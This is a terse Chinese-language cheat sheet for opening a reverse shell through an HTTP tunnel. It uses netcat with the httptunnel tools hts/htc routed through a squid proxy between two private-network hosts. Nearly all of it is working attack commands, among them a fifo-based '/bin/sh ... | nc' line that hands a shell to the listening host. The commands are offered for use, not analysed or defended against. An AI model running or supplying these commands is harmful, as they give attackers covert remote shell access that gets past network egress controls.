nc 结合htc hts 反弹shell

A
192.168.31.111
监听
nc -l 1234 &

hts -F 127.0.0.1:1234 80

B
192.168.31.199
squid 代理 192.168.31.111:3128

htc -F 999 -P 127.0.0.1:3128 192.168.31.111:80

/bin/sh </usr/shell/nc/fifo|nc 127.0.0.1 999 >/usr/shell/nc/fifo &